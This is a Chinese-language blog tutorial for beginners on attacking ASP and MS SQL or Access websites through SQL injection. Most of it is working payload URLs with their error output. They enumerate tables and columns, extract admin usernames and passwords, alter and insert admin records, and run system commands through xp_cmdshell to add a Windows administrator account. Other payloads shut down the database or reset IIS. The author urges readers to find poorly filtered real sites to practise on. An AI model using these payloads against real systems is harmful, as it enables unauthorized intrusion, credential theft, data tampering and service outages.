菜鳥SQL注入詳解

穩萊
 
菜鳥SQL注入詳解


網上有很多高手GG們寫的利用SQL注入如何去黑網站的,偶看了,嘿嘿。
不過可能對於一些初學者而且,有點難。在這裡,小林想把這個過時的
東東作一次全面的交待,盡量讓沒有編程基礎的DDMM們很快的拿握這門技術。
利用SQL進行添加,更改,查看記錄。

當一台主機台開了80端口,當你手頭沒有任何黑客工具,那麼,偶們有SQL。
他不需要你其他東東,只要一個瀏覽器就夠了。HOHO,偶的文章菜菜,偶寫這
篇文章只是為了讓一些對SQL很陌生的菜菜們看的,老鳥繞道。。。

1,什麼是SQL注入?

SQL注入,就是利用欺騙的方式,通過網頁的查詢功能,或查詢命令注入。
當用戶來到網站,會提交一些數據,再到數據庫進行查詢,確定此用戶的身份。
舉個簡單的例子來說吧,你去一個站點的論壇,那麼,你會輸入你的用戶名和
密碼,點「確定」,網站會通過數據庫的查詢來判斷你是不是他們的用戶,
你的用戶名和密碼是否正確。而利用SQL注入,通過構造特殊的語句,來查找我
們所想要得到的信息,如管理員的帳號密碼。以下,小林用了http://xxx.xxx.com
來表示一個存在注入漏洞的網頁。


2,助手篇,
先把IE菜單-工具-Internet選項-高級-顯示友好 HTTP 錯誤信息前面的勾去掉。
否則,不論服務器返回什麼錯誤,我們都只能看到「HTTP 500服務器錯誤」,不能獲得更多的提示信息。


3,哪些網頁能利用?
我們去找一些要提交數據的網頁,如:登陸頁面,查找頁面,添加頁面等
找到後,如果你注意過網頁的源代碼,那麼,你會發現,他上面一般有一個如下的表單:

<FORM action=login.asp method=post>
<input ........
</FORM>

這些網頁,後綴如asp,jsp,cgi,php網頁。
如:http://xxx.xxx.com/index.asp?id=10
上面這個例子,就是ASP頁後,看到他的ID還的值了嗎?是10。一般,我們找的就是這些頁面來練手了。(要做個好人噢。(^_^)像小林一樣的好人。)

4,怎麼測試它是存在注入漏洞的呢?這一步偶稱它為「踩點」。
小林有一個毛病,看什麼網頁,就要順手在參數(如上面的10)上加一個小小的引號。
http://xxx.xxx.com/index.asp?id=10
返回錯誤信息:

Microsoft OLE DB Provider for SQL Server 錯誤 80040e14 字符串 之前有未閉合的引號。
/job/grxx.asp,行141

這就是說,他用的是MsSQL數據庫。這個引號,導致引號未閉合的錯誤。本身就是錯的,因為通常一個整數是不用在SQL裡加引號的。

如果他不是一個整數而是字母呢?

http://xxx.xxx.com/index.asp?user=lamb

那我們就把引號放到lamb中間,如lamb 呵呵,又出錯了吧?

這說明,站點這一部分的代碼是大有問題的(當然,就算他有源碼公佈在網上,我也懶得看)

當然,我們也可以提交:
http://xxx.xxx.com/index.asp?id=10 ;AND columnaaa=5 (注,這裡的columnaaa是我亂寫的)
出現錯誤信息:

Microsoft OLE DB Provider for ODBC Drivers 錯誤 80040e14 [Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name columnaaa.
/job/grxx.asp,行27
這說明,這是一個SQL,裡面沒有columnaaa這個字段(我習慣說「列」)。利用出錯的信息,我們現在多少瞭解了這個站點的服務了吧?

5,現在開工啦,偶不喜歡猜測他的字段名,太浪費TIME了,我們要想辦法讓數據查詢中出錯。要產生一個錯誤讓它自己報出數據庫裡的值。讓我們用一用SQL語法GROUP BY 或HAVING。如:

http://xxx.xxx.com/job/grxx.asp?id=23%20HAVING%201=1--

出現錯誤信息:
Microsoft OLE DB Provider for ODBC Drivers 錯誤 80040e14 [Microsoft][ODBC SQL Server Driver][SQL Server]Column article.newsid is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

/more.asp,行27

看到article.newsid了嗎?說明有一個叫article.newsid的列,因為你在用HAVING,所以你必須還要用上GROUP BY,於是黑客就重複錯誤提交,直到沒有得到錯誤。
這裡要說明一下:分號在這裡分離,%20 是空格,--表示後面是一個註釋,也就是說只是說明,不能去

執行代碼。(*_*)

下面是具體例子:

提交:

http://xxx.xxx.com/job/grxx.asp?id=23%20HAVING%201=1--

得到article.newsid這真是好東西。
提交:

http://xxx.xxx.com/job/grxx.asp?id=23%20group%20by%20article.newsid%20having%201=1--


得到錯誤信息:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]Column article.title is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

/more.asp,line 20

得到:
article.title
我們反覆地一個一個加上來提交。
得到錯誤信息:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]Column adm.userName is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

/more.asp,line 56

這裡要注意了,都到哪兒了?到下一個表了。
現在我們知道這裡至少有2個表,他們的別名是:adm和article,如裡面article對應的是:newsid等

title

利用系統表:

下面,我們要確定表名來加入數據。
系統表是MS-SQL 2000的一部分,名叫sysObjects table,我們將要用到查詢UNION Select,。
要從SysObjects table 有天地拿到表名,一般使用下面語句:
Select name FROM sysObjects Where xtype=U U是指明定議USER的表。
黑客們已經知道了表裡的列,
現在他們能在下面加一些數字。甚至如下面的:

在地址欄裡打入:

http://xxx.xxx.com/job/grxx.asp?id=23%20UNION%20ALL%20Select% ;
201,2,3,4,5,6,name%20FROM%20sysObjects%20Where%20xtype=U--


記住,上面的,1-6數據中,6是我們想要的。不過有時候會出現數據類型錯誤,

http://xxx.xxx.com/job/grxx.asp?id=23%20Select ;TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

MS SQL服務將試圖去轉換一個string (nvarchar)到integer。那麼就會出錯:

Microsoft OLE DB Provider for ODBC Drivers error 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value table1 to a column of data type int.
/index.asp, line 5

這個錯誤信息很「友好」地告訴我們string (nvarchar)值不能被轉換成integer。
這樣,我們就獲得了數據表的第一個表名!這個表名就是tabel1。


要獲得第二個表名,我們繼續,用以下查詢:

http://xxx.xxx.com/job/grxx.asp?id=23%20UNION ;Select TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES Where TABLE_NAME NOT IN (table1)--

也可以用關鍵字查找數據:

http://xxx.xxx.com/job/grxx.asp?id=23
;UNION Select TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES Where TABLE_NAME LIKE %25ADMIN%25--

現在錯誤信息:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value admin_login to a column of data type int.
/index.asp, line 5

尋找與之匹配的值%25ADMIN%25在SQL服務器上將被認作 %ADMIN%。這樣,我們就能獲得符合標
准的表名為"admin_login"的表了。

那麼,如何獲得表裡所有的列表?

我們能利用另一個有用的東東,INFORMATION_SCHEMA.COLUMNS 出場!!!

http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION Select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS Where TABLE_NAME=admin_login--

現在錯誤信息:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value u_id to a column of data type int.
/index.asp, line 6
看,我們有了第一個字段的名,我們用NOT IN () 來獲得下一個字段名:

http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION Select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS Where TABLE_NAME=admin_login Where COLUMN_NAME NOT IN (u_id)--



現在錯誤信息:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value u_name to a column of data type int.
/index.asp, line 5

我們繼續,獲得其他列表。如:"password"等,因為我們獲得下面錯誤信息:

http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION Select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS Where TABLE_NAME=admin_login Where COLUMN_NAME NOT IN (u_id,u_name,password,contents)--



現在錯誤信息:
Microsoft OLE DB Provider for ODBC Drivers error 80040e14
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

6。2 如何找到我們要找的重要數據呢?
現在我們知道了表名,字段名,我們用相同的方法收集我們要的在數據庫裡的信息。
現在,我們從"admin_login" 表裡取得第一個u_name :

http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION Select TOP 1 u_name FROM admin_login--


現在錯誤信息:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value adminroot to a column of data type int.
/index.asp, line 5


我們知道,這裡有登陸的用戶名叫 "adminroot"的管理員。最後,從數據庫裡獲得"adminroot" 的密碼:

http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION Select TOP 1 password FROM admin_login where u_name=adminroot--



現在錯誤信息:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value root to a column of data type int.
/index.asp, line 5

我們現在能用戶名"adminroot"密碼:"root"登陸了。


如何取得數字的值?

以上技術描述有有一定的局限性。當我們試圖轉換文本組成有效的數字0-9我們不能得到任何錯誤。
讓我們說說如何獲得"tony"的密碼,密碼是 "19840217":

http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION Select TOP 1 password FROM admin_login where u_name=tony--



我們很可能發現,該頁無法顯示的錯誤。這結果表示,密碼"19840217"被修改到一個數了。在整合一個整型(10 也是),因為這是一個有效的整合。所以SQL服務就不會給出錯誤的提示了。
我們就得不到數字的登陸了。
要解決這個問題,我們能附加一些字母來測試轉換失敗。我們用以下的測試來代替:

http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION Select TOP 1 convert(int, password%2b%20lambgirl) FROM admin_login where u_name=tony--

我們簡單地利用加號+設置密碼數據文件的搜索路徑。隨便加一些。ASSCII碼+ = 0x2b
我們將添加空格在密碼裡。所以,如果把我們的密碼是19840217。他將變成19840217 lambgirl.調出了轉換了的函數。試著將19840217 lambgirl轉變成整型。SQL服務將出現ODBC錯誤:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 19840217 lambgirl to a column of data type int.
/index.asp, line 5

現在,你就能用tony和密碼:19840217 lambgirl了。


如何在數據庫修改,插入數據?
當我們成功地獲得了表名,字段。就很容易在數據庫裡修改甚至插入新的數據。如更改"adminroot"的密碼,我們

http://xxx.xxx.com/job/grxx.asp?id=23 ;Update admin_login SET password = newpas5 Where u_name=adminroot--

要在數據表裡插入新記錄,

http://xxx.xxx.com/job/grxx.asp?id=23 ;Insert INTO admin_login (u_id, u_name, password, contents) VALUES (123,xiaolin,pas,lambgirl)--


現在,我們就能用xiaolin pas 來登陸了。


如何遠程執行SQL漏洞?

能進行SQL注入命令表明,我們能查任何我們想要查的。默認安裝的的MS SQL服務
在系統中權限等於管理員。我們能利用執行存儲過程像xp_cmdshell 來執行遠程破壞:

; exec master..xp_cmdshell ping 192.168.0.2--

(如果單引號不能用,就換成雙引號)

分號(;)表示結束前面的SQL查詢,從而允許你開始另一個新的SQL命令。
為了檢驗命令成功執行,你可以監聽從192.168.0.2發出的的ICMP包。查看是否發出包。

#tcpdump icmp
如果你沒有接到PING主機的回應,得到一個錯誤的提示,權限錯誤,那麼,很可能管理員限制了WEB用戶對xp_cmdshell 等的權限。

如何找出MYSQL查詢結果?
這很容易用sp_makewebtask來把你查詢的結果放到一個HTML裡:

; EXEC master..sp_makewebtask "\\192.168.0.2\share\girlxiaolin.html", "Select * FROM INFORMATION_SCHEMA.TABLES"



但是目標IP必須共享文件夾。


 

http://xxx.xxx.com/job/grxx.asp?id=23 ;;exec master..xp_cmdshell 「net user name password /add」--

xp_cmdshell 用於調用系統命令,於是,用net命令新建了用戶名為name、密碼為password
的windows的帳號,接著:

http://xxx.xxx.com/job/grxx.asp?id=23 ;;exec master..xp_cmdshell 「net localgroup name administrators /add」--


將新建的帳號name加入管理員組,不過這種方法只於用sa連接數據庫的情況,否則,沒有權限調用

xp_cmdshell。

其他方面,如利用SQL的命令填寫:
將使SQL服務快速關閉
用戶名: ; shutdown with nowait; --
密碼: 不填

導致嚴重問題,網絡故障。
用戶名: ; exec master..xp_cmdshell iisreset; --
密碼:不填

關於ACCESS部分,

和ASSQL差不了多少,也是先在http://xxx.xxx.com/index.asp?id=10

出錯的話,繼續提交:
先測試是否有ADMIN表,
http://xxx.xxx.com/index.asp?id=10 and 0<>(select count(*) from admin)

http://xxx.xxx.com/index.asp?id=10 and 1=(select count(*) from admin)
沒有的話,就換一個名字,如user啊,什麼的。再猜裡面是否有username這個字段.

and 1=(select count(*) from admin where len(username)>0)
如果出錯,同理,我們也可以給它換一個名字。
接下來我們猜用戶的具體名字。
and 1=(select count(*) from admin where left(username,1)=l)
這時我們可以一個一個地來猜。
and 1=(select count(*) from admin where left(username,2)=la)
接下來猜密碼,猜密碼的道理同猜用戶名一樣。
and 1=(select count(*) from admin where left(password,1)=l)

好了,不寫了,這篇文章小林寫了好幾天了,累死了,還是條理不清楚。
文章還有很多不全面的地方。還有一些專業術語,小林可能也有誤,不過小菜們拿來看看還是行的啦。如果哪些寫錯了,請老鳥們加偶:165442496,告訴我錯誤,我會修正的。
我試過了,很多用MsSQL站點過濾不完整的網上也很多。所以大家可以找來練練手。

 

 給當前日誌評分:
Loading Vote
正在讀取評分資料...


文章來自: Tank部落格
引用通告: 查看所有引用 | 我要引用此文章
Tags:
相關日誌:

評論: 0 | 引用: 0 | 查看次數: -
發表評論
暱 稱:
密 碼: 遊客發言不需要密碼.
內 容:
驗證碼: 驗證碼
選 項:
雖然發表評論不用註冊,但是為了保護您的發言權,建議您註冊帳號.